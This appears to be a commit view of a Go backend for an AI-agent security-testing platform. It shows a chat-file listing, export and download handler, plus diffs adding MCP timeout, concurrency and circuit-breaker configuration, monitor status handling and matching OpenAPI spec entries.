artifactFiles, err := h.collectConversationArtifactFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举 conversation_artifacts 产物失败", zap.Error(err))
} else if len(artifactFiles) > 0 {
files = append(files, artifactFiles...)
}
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedUnix > files[j].ModifiedUnix
})
return files, folders, nil
}
func (h *ChatUploadsHandler) collectReductionFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
root, err := h.absReductionRoot()
if err != nil {
return nil, err
}
if st, err := os.Stat(root); err != nil || !st.IsDir() {
return nil, nil
}
projectCache := make(map[string]string)
files := make([]ChatUploadFileItem, 0)
for _, scope := range []string{"conversations", "projects"} {
scopeRoot := filepath.Join(root, scope)
_ = filepath.WalkDir(scopeRoot, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d == nil || d.IsDir() {
return nil
}
rel, err := filepath.Rel(root, path)
if err != nil {
return nil
}
relSlash := filepath.ToSlash(rel)
parts := strings.Split(relSlash, "/")
if len(parts) < 3 {
return nil
}
ownerID := parts[1]
if !h.reductionPathAllowed(c, scope, ownerID) {
return nil
}
var convID, projectID string
if scope == "conversations" {
convID = ownerID
projectID = h.conversationProjectID(convID, projectCache)
} else {
projectID = ownerID
}
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
info, err := d.Info()
if err != nil {
return nil
}
name := d.Name()
if filepath.Ext(name) == "" {
name += ".txt"
}
abs, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: reductionVirtualPrefix + relSlash,
AbsolutePath: abs,
Name: name,
Source: chatUploadSourceReduction,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: info.ModTime().Format("2006-01-02"),
ConversationID: convID,
ProjectID: projectID,
SubPath: strings.Join(parts[2:len(parts)-1], "/"),
})
return nil
})
}
return files, nil
}
func (h *ChatUploadsHandler) collectConversationArtifactFiles(c *gin.Context, conversationFilter, projectFilter string) ([]ChatUploadFileItem, error) {
root, err := h.absConversationArtifactsRoot()
if err != nil {
return nil, err
}
if st, err := os.Stat(root); err != nil || !st.IsDir() {
return nil, nil
}
projectCache := make(map[string]string)
files := make([]ChatUploadFileItem, 0)
_ = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d == nil || d.IsDir() {
return nil
}
rel, err := filepath.Rel(root, path)
if err != nil {
return nil
}
relSlash := filepath.ToSlash(rel)
parts := strings.Split(relSlash, "/")
if len(parts) < 2 {
return nil
}
convID := parts[0]
if !h.conversationArtifactPathAllowed(c, convID) {
return nil
}
projectID := h.conversationProjectID(convID, projectCache)
if conversationFilter != "" && convID != conversationFilter {
return nil
}
if projectFilter != "" && projectID != projectFilter {
return nil
}
info, err := d.Info()
if err != nil {
return nil
}
name := d.Name()
if filepath.Ext(name) == "" {
name += ".txt"
}
abs, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: artifactVirtualPrefix + relSlash,
AbsolutePath: abs,
Name: name,
Source: chatUploadSourceConversation,
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: info.ModTime().Format("2006-01-02"),
ConversationID: convID,
ProjectID: projectID,
SubPath: strings.Join(parts[1:len(parts)-1], "/"),
})
return nil
})
return files, nil
}
func (h *ChatUploadsHandler) resolveReductionVirtualPath(relativePath string) (string, error) {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), reductionVirtualPrefix)
rel = filepath.Clean(filepath.FromSlash(rel))
if rel == "." || strings.HasPrefix(rel, "..") {
return "", fmt.Errorf("invalid path")
}
root, err := h.absReductionRoot()
if err != nil {
return "", err
}
full, err := filepath.Abs(filepath.Join(root, rel))
if err != nil {
return "", err
}
rootAbs, _ := filepath.Abs(root)
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
return "", fmt.Errorf("path escapes reduction root")
}
return full, nil
}
func (h *ChatUploadsHandler) resolveConversationArtifactVirtualPath(relativePath string) (string, error) {
rel := strings.TrimPrefix(strings.TrimSpace(relativePath), artifactVirtualPrefix)
rel = filepath.Clean(filepath.FromSlash(rel))
if rel == "." || strings.HasPrefix(rel, "..") {
return "", fmt.Errorf("invalid path")
}
root, err := h.absConversationArtifactsRoot()
if err != nil {
return "", err
}
full, err := filepath.Abs(filepath.Join(root, rel))
if err != nil {
return "", err
}
rootAbs, _ := filepath.Abs(root)
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
return "", fmt.Errorf("path escapes conversation artifacts root")
}
return full, nil
}
func chatUploadItemIsInternal(item ChatUploadFileItem) bool {
return item.Source == chatUploadSourceReduction ||
item.Source == chatUploadSourceConversation ||
strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) ||
strings.HasPrefix(item.RelativePath, artifactVirtualPrefix)
}
func (h *ChatUploadsHandler) resolveListedFilePath(item ChatUploadFileItem) (string, error) {
switch {
case item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix):
return h.resolveReductionVirtualPath(item.RelativePath)
case item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix):
return h.resolveConversationArtifactVirtualPath(item.RelativePath)
default:
return h.resolveUnderChatUploads(item.RelativePath)
}
}
func chatUploadSourceMatches(item ChatUploadFileItem, sourceFilter string) bool {
sourceFilter = strings.TrimSpace(sourceFilter)
if sourceFilter == "" || sourceFilter == "all" {
return true
}
source := strings.TrimSpace(item.Source)
if source == "" {
source = chatUploadSourceUpload
}
return source == sourceFilter
}
func chatUploadSearchMatches(item ChatUploadFileItem, search string) bool {
search = strings.ToLower(strings.TrimSpace(search))
if search == "" {
return true
}
values := []string{
item.RelativePath,
item.Name,
item.Source,
item.Date,
item.ConversationID,
item.ProjectID,
item.SubPath,
}
for _, value := range values {
if strings.Contains(strings.ToLower(value), search) {
return true
}
}
return false
}
func filterChatUploadItems(files []ChatUploadFileItem, sourceFilter, search string) []ChatUploadFileItem {
if strings.TrimSpace(sourceFilter) == "" && strings.TrimSpace(search) == "" {
return files
}
out := make([]ChatUploadFileItem, 0, len(files))
for _, item := range files {
if chatUploadSourceMatches(item, sourceFilter) && chatUploadSearchMatches(item, search) {
out = append(out, item)
}
}
return out
}
func parsePositiveIntQuery(c *gin.Context, key string, def, max int) int {
raw := strings.TrimSpace(c.Query(key))
if raw == "" {
return def
}
if strings.EqualFold(raw, "all") {
return 0
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 {
return def
}
if max > 0 && n > max {
return max
}
return n
}
func paginateChatUploadItems(files []ChatUploadFileItem, page, pageSize int) []ChatUploadFileItem {
if pageSize <= 0 {
return files
}
if page <= 0 {
page = 1
}
start := (page - 1) * pageSize
if start >= len(files) {
return []ChatUploadFileItem{}
}
end := start + pageSize
if end > len(files) {
end = len(files)
}
return files[start:end]
}
// List GET /api/chat-uploads
func (h *ChatUploadsHandler) List(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
projectFilter := strings.TrimSpace(c.Query("project"))
sourceFilter := strings.TrimSpace(c.Query("source"))
search := strings.TrimSpace(c.Query("search"))
page := parsePositiveIntQuery(c, "page", 1, 0)
pageSize := parsePositiveIntQuery(c, "pageSize", 20, 200)
files, folders, err := h.collectFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("列举对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
files = filterChatUploadItems(files, sourceFilter, search)
total := len(files)
paged := paginateChatUploadItems(files, page, pageSize)
c.JSON(http.StatusOK, gin.H{
"files": paged,
"folders": folders,
"total": total,
"page": page,
"pageSize": pageSize,
})
}
// Export GET /api/chat-uploads/export?conversation=...&project=...
func (h *ChatUploadsHandler) Export(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
projectFilter := strings.TrimSpace(c.Query("project"))
sourceFilter := strings.TrimSpace(c.Query("source"))
search := strings.TrimSpace(c.Query("search"))
files, _, err := h.collectFiles(c, conversationFilter, projectFilter)
if err != nil {
h.logger.Warn("导出对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
files = filterChatUploadItems(files, sourceFilter, search)
if len(files) == 0 {
c.JSON(http.StatusNotFound, gin.H{"error": "no files to export"})
return
}
nameParts := []string{"chat-files"}
if projectFilter != "" {
nameParts = append(nameParts, "project-"+projectFilter)
}
if conversationFilter != "" {
nameParts = append(nameParts, "conversation-"+conversationFilter)
}
nameParts = append(nameParts, time.Now().Format("20060102-150405"))
filename := strings.Join(nameParts, "-") + ".zip"
c.Header("Content-Type", "application/zip")
c.Header("Content-Disposition", mime.FormatMediaType("attachment", map[string]string{"filename": filename}))
zw := zip.NewWriter(c.Writer)
defer zw.Close()
manifest := gin.H{
"exportedAt": time.Now().UTC().Format(time.RFC3339),
"conversationId": conversationFilter,
"projectId": projectFilter,
"source": sourceFilter,
"search": search,
"fileCount": len(files),
"files": files,
"layout": "chat uploads are stored under conversations/<conversationId>/; internal outputs are stored under internal/<source>/",
"sourceDirectory": []string{chatUploadsRootDirName, reductionRootDirName, artifactsRootDirName},
}
manifestBytes, _ := json.MarshalIndent(manifest, "", " ")
mw, err := zw.Create("manifest.json")
if err != nil {
h.logger.Warn("写入附件导出清单失败", zap.Error(err))
return
}
_, _ = mw.Write(manifestBytes)
used := make(map[string]int)
for _, item := range files {
abs, err := h.resolveListedFilePath(item)
if err != nil {
continue
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
continue
}
var zipName string
if item.Source == chatUploadSourceReduction || strings.HasPrefix(item.RelativePath, reductionVirtualPrefix) {
rel := strings.TrimPrefix(item.RelativePath, reductionVirtualPrefix)
zipName = filepath.ToSlash(filepath.Join("internal", "reduction", rel))
if filepath.Ext(zipName) == "" {
zipName += ".txt"
}
} else if item.Source == chatUploadSourceConversation || strings.HasPrefix(item.RelativePath, artifactVirtualPrefix) {
rel := strings.TrimPrefix(item.RelativePath, artifactVirtualPrefix)
zipName = filepath.ToSlash(filepath.Join("internal", "conversation_artifacts", rel))
if filepath.Ext(zipName) == "" {
zipName += ".txt"
}
} else {
conv := strings.TrimSpace(item.ConversationID)
if conv == "" || conv == "_manual" || conv == "_new" {
conv = "manual"
}
zipName = filepath.ToSlash(filepath.Join("conversations", conv, strings.TrimSpace(item.SubPath), item.Name))
}
if used[zipName] > 0 {
ext := filepath.Ext(zipName)
zipName = strings.TrimSuffix(zipName, ext) + fmt.Sprintf("-%d", used[zipName]+1) + ext
}
used[zipName]++
fw, err := zw.Create(zipName)
if err != nil {
h.logger.Warn("创建附件导出项失败", zap.String("path", item.RelativePath), zap.Error(err))
continue
}
src, err := os.Open(abs)
if err != nil {
continue
}
_, copyErr := io.Copy(fw, src)
_ = src.Close()
if copyErr != nil {
h.logger.Warn("复制附件导出项失败", zap.String("path", item.RelativePath), zap.Error(copyErr))
return
}
}
if h.audit != nil {
h.audit.RecordOK(c, "file", "export", "导出对话附件", "chat_upload", filename, map[string]interface{}{
"conversation_id": conversationFilter,
"project_id": projectFilter,
"file_count": len(files),
})
}
}
// Download GET /api/chat-uploads/download?path=...
func (h *ChatUploadsHandler) Download(c *gin.Context) {
p := c.Query("path")
if strings.HasPrefix(strings.TrimSpace(p), reductionVirtualPrefix) {
if !h.reductionVirtualPathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
abs, err := h.resolveReductionVirtualPath(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
name := filepath.Base(abs)
if filepath.Ext(name) == "" {
name += ".txt"
}
c.FileAttachment(abs, name)
return
}
if strings.HasPrefix(strings.TrimSpace(p), artifactVirtualPrefix) {
if !h.conversationArtifactVirtualPathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
abs, err := h.resolveConversationArtifactVirtualPath(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
name := filepath.Base(abs)
if filepath.Ext(name) == "" {
name += ".txt"
}
c.FileAttachment(abs, name)
return
}
if !h.pathAllowed(c, p) {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
+72 -3
View File
@@ -725,9 +725,14 @@ type UpdateConfigRequest struct {
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
type AgentConfigUpdate struct {
MaxIterations *int `json:"max_iterations,omitempty"`
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
MaxIterations *int `json:"max_iterations,omitempty"`
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
ToolWaitTimeoutSeconds *int `json:"tool_wait_timeout_seconds,omitempty"`
ExternalMCPMaxConcurrentPerServer *int `json:"external_mcp_max_concurrent_per_server,omitempty"`
ExternalMCPMaxConcurrentTotal *int `json:"external_mcp_max_concurrent_total,omitempty"`
ExternalMCPCircuitFailureThreshold *int `json:"external_mcp_circuit_failure_threshold,omitempty"`
ExternalMCPCircuitCooldownSeconds *int `json:"external_mcp_circuit_cooldown_seconds,omitempty"`
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
}
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -740,6 +745,21 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
if src.ToolTimeoutMinutes != nil {
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
}
if src.ToolWaitTimeoutSeconds != nil {
dst.ToolWaitTimeoutSeconds = *src.ToolWaitTimeoutSeconds
}
if src.ExternalMCPMaxConcurrentPerServer != nil {
dst.ExternalMCPMaxConcurrentPerServer = *src.ExternalMCPMaxConcurrentPerServer
}
if src.ExternalMCPMaxConcurrentTotal != nil {
dst.ExternalMCPMaxConcurrentTotal = *src.ExternalMCPMaxConcurrentTotal
}
if src.ExternalMCPCircuitFailureThreshold != nil {
dst.ExternalMCPCircuitFailureThreshold = *src.ExternalMCPCircuitFailureThreshold
}
if src.ExternalMCPCircuitCooldownSeconds != nil {
dst.ExternalMCPCircuitCooldownSeconds = *src.ExternalMCPCircuitCooldownSeconds
}
if src.SystemPromptPath != nil {
dst.SystemPromptPath = *src.SystemPromptPath
}
@@ -815,12 +835,35 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
h.logger.Info("更新Agent配置",
zap.Int("max_iterations", h.config.Agent.MaxIterations),
zap.Int("tool_timeout_minutes", h.config.Agent.ToolTimeoutMinutes),
zap.Int("tool_wait_timeout_seconds", h.config.Agent.ToolWaitTimeoutSeconds),
zap.Int("external_mcp_max_concurrent_per_server", h.config.Agent.ExternalMCPMaxConcurrentPerServer),
zap.Int("external_mcp_max_concurrent_total", h.config.Agent.ExternalMCPMaxConcurrentTotal),
zap.Int("external_mcp_circuit_failure_threshold", h.config.Agent.ExternalMCPCircuitFailureThreshold),
zap.Int("external_mcp_circuit_cooldown_seconds", h.config.Agent.ExternalMCPCircuitCooldownSeconds),
)
if h.agent != nil && req.Agent.MaxIterations != nil {
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
}
if h.executor != nil {
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.mcpServer != nil {
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.externalMCPMgr != nil {
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
}
}
@@ -1471,7 +1514,10 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
h.mcpServer.ClearTools()
// 重新注册安全工具
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.executor.RegisterTools(h.mcpServer)
mcp.RegisterExecutionControlTools(h.mcpServer, h.externalMCPMgr)
// 重新注册漏洞记录工具(内置工具,必须注册)
if h.vulnerabilityToolRegistrar != nil {
@@ -1542,6 +1588,24 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
}
if h.mcpServer != nil {
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.executor != nil {
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
}
if h.externalMCPMgr != nil {
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
}
// 更新AttackChainHandler的OpenAI配置
@@ -1731,6 +1795,11 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
agentNode := ensureMap(root, "agent")
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
setIntInMap(agentNode, "tool_wait_timeout_seconds", agent.ToolWaitTimeoutSeconds)
setIntInMap(agentNode, "external_mcp_max_concurrent_per_server", agent.ExternalMCPMaxConcurrentPerServer)
setIntInMap(agentNode, "external_mcp_max_concurrent_total", agent.ExternalMCPMaxConcurrentTotal)
setIntInMap(agentNode, "external_mcp_circuit_failure_threshold", agent.ExternalMCPCircuitFailureThreshold)
setIntInMap(agentNode, "external_mcp_circuit_cooldown_seconds", agent.ExternalMCPCircuitCooldownSeconds)
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
}
+1
View File
@@ -373,6 +373,7 @@ func summarizeProcessDetailData(eventType string, data interface{}) interface{}
"success": true, "isError": true, "executionId": true,
"einoAgent": true, "einoRole": true, "einoScope": true, "orchestration": true,
"agentFacing": true,
"status": true, "modelFacingIsError": true, "resultPreview": true,
}
out := make(map[string]interface{}, len(allow)+1)
for k, v := range m {
+13 -4
View File
@@ -167,7 +167,7 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
stats[exec.ToolName] = stat
}
stat.TotalCalls++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
stat.FailedCalls++
} else if exec.Status == "completed" {
stat.SuccessCalls++
@@ -180,6 +180,15 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
return summarizeToolStats(stats, topN)
}
func monitorStatusCountsAsFailed(status string) bool {
switch strings.TrimSpace(strings.ToLower(status)) {
case "failed", "hard_timeout", "orphaned":
return true
default:
return false
}
}
func (h *MonitorHandler) monitorRetentionDays() int {
if h.monitorRetention != nil {
return h.monitorRetention.RetentionDays()
@@ -813,7 +822,7 @@ func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimel
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
entry := bucketMap[key]
entry.total++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
entry.failed++
}
bucketMap[key] = entry
@@ -876,7 +885,7 @@ func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
totalCalls := 1
successCalls := 0
failedCalls := 0
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
failedCalls = 1
} else if exec.Status == "completed" {
successCalls = 1
@@ -951,7 +960,7 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
stats := toolStats[exec.ToolName]
stats.totalCalls++
if exec.Status == "failed" || exec.Status == "cancelled" {
if monitorStatusCountsAsFailed(exec.Status) {
stats.failedCalls++
} else if exec.Status == "completed" {
stats.successCalls++
+4
View File
@@ -56,6 +56,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
var err error
meta := audit.ConversationCreateMetaFromGin(c, source)
meta.ProjectID = projectID
meta.RoleName = req.Role
if webshellID != "" {
meta.Source = source + "_webshell"
meta.WebShellConnectionID = webshellID
@@ -80,6 +81,9 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
return nil, fmt.Errorf("无权访问该对话")
}
}
if err := h.db.SetConversationRoleName(conversationID, req.Role); err != nil {
h.logger.Warn("更新对话角色失败", zap.String("conversationId", conversationID), zap.String("role", req.Role), zap.Error(err))
}
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
if err != nil {
+63 -4
View File
@@ -307,7 +307,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{
"type": "string",
"description": "执行状态",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
"result": map[string]interface{}{
"type": "string",
@@ -778,7 +778,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"status": map[string]interface{}{
"type": "string",
"description": "执行状态",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
"createdAt": map[string]interface{}{
"type": "string",
@@ -839,6 +839,9 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"type": "object",
"description": "配置信息(含 openai、vision、multi_agent 等)",
"properties": map[string]interface{}{
"agent": map[string]interface{}{
"$ref": "#/components/schemas/AgentConfig",
},
"vision": map[string]interface{}{
"$ref": "#/components/schemas/VisionConfig",
},
@@ -848,11 +851,30 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"type": "object",
"description": "更新配置请求",
"properties": map[string]interface{}{
"agent": map[string]interface{}{
"$ref": "#/components/schemas/AgentConfig",
},
"vision": map[string]interface{}{
"$ref": "#/components/schemas/VisionConfig",
},
},
},
"AgentConfig": map[string]interface{}{
"type": "object",
"description": "Agent 运行与外部 MCP 防卡死保护配置",
"properties": map[string]interface{}{
"max_iterations": map[string]interface{}{"type": "integer", "description": "最大迭代次数"},
"tool_timeout_minutes": map[string]interface{}{"type": "integer", "description": "单次工具执行硬超时(分钟)"},
"tool_wait_timeout_seconds": map[string]interface{}{"type": "integer", "description": "工具单轮等待秒数;到时返回 execution_idworker 继续后台执行"},
"external_mcp_max_concurrent_per_server": map[string]interface{}{"type": "integer", "description": "单个外部 MCP server 并发上限;0=默认2;负数=不限制"},
"external_mcp_max_concurrent_total": map[string]interface{}{"type": "integer", "description": "外部 MCP 全局并发上限;0=默认16;负数=不限制"},
"external_mcp_circuit_failure_threshold": map[string]interface{}{"type": "integer", "description": "连续失败熔断阈值;0=默认3;负数=关闭熔断"},
"external_mcp_circuit_cooldown_seconds": map[string]interface{}{"type": "integer", "description": "熔断冷却秒数;0=默认60"},
"shell_no_output_timeout_seconds": map[string]interface{}{"type": "integer", "description": "execute/exec 连续无输出终止秒数"},
"workspace_root_dir": map[string]interface{}{"type": "string", "description": "会话工作目录根路径"},
"system_prompt_path": map[string]interface{}{"type": "string", "description": "单代理系统提示文件路径"},
},
},
"VisionConfig": map[string]interface{}{
"type": "object",
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
@@ -3483,7 +3505,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"description": "状态筛选",
"schema": map[string]interface{}{
"type": "string",
"enum": []string{"success", "failed", "running"},
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
},
},
{
@@ -5776,10 +5798,15 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"get": map[string]interface{}{
"tags": []string{"对话附件"},
"summary": "列出附件",
"description": "获取对话附件文件列表,可按对话ID过滤。",
"description": "获取对话文件列表,包含手动上传附件、工具输出和会话产物,可按会话、项目、来源、文件名搜索和分页过滤。",
"operationId": "listChatUploads",
"parameters": []map[string]interface{}{
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
{"name": "page", "in": "query", "required": false, "description": "页码,从1开始", "schema": map[string]interface{}{"type": "integer", "default": 1}},
{"name": "pageSize", "in": "query", "required": false, "description": "每页数量,传 all 返回全部", "schema": map[string]interface{}{"oneOf": []map[string]interface{}{{"type": "integer"}, {"type": "string", "enum": []string{"all"}}}}},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
@@ -5801,11 +5828,18 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
"modifiedUnix": map[string]interface{}{"type": "integer"},
"date": map[string]interface{}{"type": "string"},
"conversationId": map[string]interface{}{"type": "string"},
"projectId": map[string]interface{}{"type": "string"},
"subPath": map[string]interface{}{"type": "string"},
"source": map[string]interface{}{"type": "string", "description": "upload/reduction/conversation_artifact"},
},
},
},
"folders": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
"total": map[string]interface{}{"type": "integer"},
"page": map[string]interface{}{"type": "integer"},
"pageSize": map[string]interface{}{
"type": "integer",
},
},
},
},
@@ -5880,6 +5914,31 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
},
},
},
"/api/chat-uploads/export": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"对话附件"},
"summary": "导出附件",
"description": "按当前过滤条件导出对话文件 ZIP,包含 manifest.json。",
"operationId": "exportChatUploads",
"parameters": []map[string]interface{}{
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
},
"responses": map[string]interface{}{
"200": map[string]interface{}{
"description": "ZIP文件下载",
"content": map[string]interface{}{
"application/zip": map[string]interface{}{
"schema": map[string]interface{}{"type": "string", "format": "binary"},
},
},
},
"401": map[string]interface{}{"description": "未授权"},
},
},
},
"/api/chat-uploads/download": map[string]interface{}{
"get": map[string]interface{}{
"tags": []string{"对话附件"},
+1 -1
View File
@@ -61,7 +61,7 @@ var apiDocI18nSummaryToKey = map[string]string{
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
